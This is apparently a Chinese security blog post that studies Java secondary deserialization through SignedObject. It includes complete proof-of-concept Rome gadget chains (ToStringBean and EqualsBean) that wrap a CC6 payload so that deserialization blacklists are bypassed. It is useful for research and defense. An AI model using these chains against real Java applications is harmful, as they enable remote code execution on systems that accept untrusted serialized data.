目录

  1. 1. 前言
  2. 2. SignedObject
    1. 2.1. Rome链
      1. 2.1.1. ToStringBean
      2. 2.1.2. EqualsBean

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Java二次反序列化

2025/2/17 Web Java 反序列化
  |     |   总文章阅读量:

前言

参考:

https://stoocea.github.io/post/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html

https://poriams.github.io/%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9C%8B%E6%88%91%E4%B8%80%E5%91%BD%E9%80%9A%E5%85%B3

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/javaDeserializeLabs%20writeup/

http://www.bmth666.cn/2022/09/20/java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%9D%E6%8E%A2/index.html

二次反序列化大多数时候是用来绕过黑名单的限制或不出网利用或者绕过一些loadClass()不能够加载数组的问题,不会作为一条单独且完整的利用链存在,而是作为一个中间节点,用来绕过

一般来说有这几个常见的利用类:SignedObject、RMIConnector、WrapperConnectionPoolDataSource


SignedObject

这是java.security下一个用于创建真实运行时对象的类,更具体地说,SignedObject的参数中需要一个Serializable对象

image-20250218084916485

主要看 getObject

image-20250219190628112

这里有一个 readObject,而构造方法里序列化数据传入的参数也是可控的

image-20250219191134508

这里 content 是一个 byte 型数组 private byte[] content;

参数可控,能够包含一个 serializeObject 并反序列化

先构造一个 SignedObject 调用 getObject() ,恶意对象选择 cc6 的 hashmap

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));
signedObject.getObject();

image-20250219203025216

接下来就需要找一个能够调用 getObject() 的链


作为一个 getter 方法,首先想到的就是像 fastjson,rome 这种会调用任意 getter 方法的链子

Rome链

Rome 中获取 getter 方法并调用的逻辑有两处地方,ToStringBean 的有参 toString 方法,Equalsbean 的 beanEquals 方法

唯一一个前提是无参,而 getObject 就是无参函数

ToStringBean

以 BadAttributeValueExpException 这条来拼好链(因为短),那么调用栈为:

SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()

poc:

package com.example;

import com.sun.syndication.feed.impl.ToStringBean;
import java.security.Signature;

import javax.management.BadAttributeValueExpException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.SignedObject;

public class RomeChain {
    public static void main(String[] args) throws Exception {

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject=new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);

        String barr = Utils.Serialize(badAttributeValueExpException);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20250219203551692


EqualsBean

套公式即可,序列化的过程中就会弹一次计算器

package com.example;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.security.*;
import java.util.HashMap;

public class RomeEqualChain {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject=new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"0w0");

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}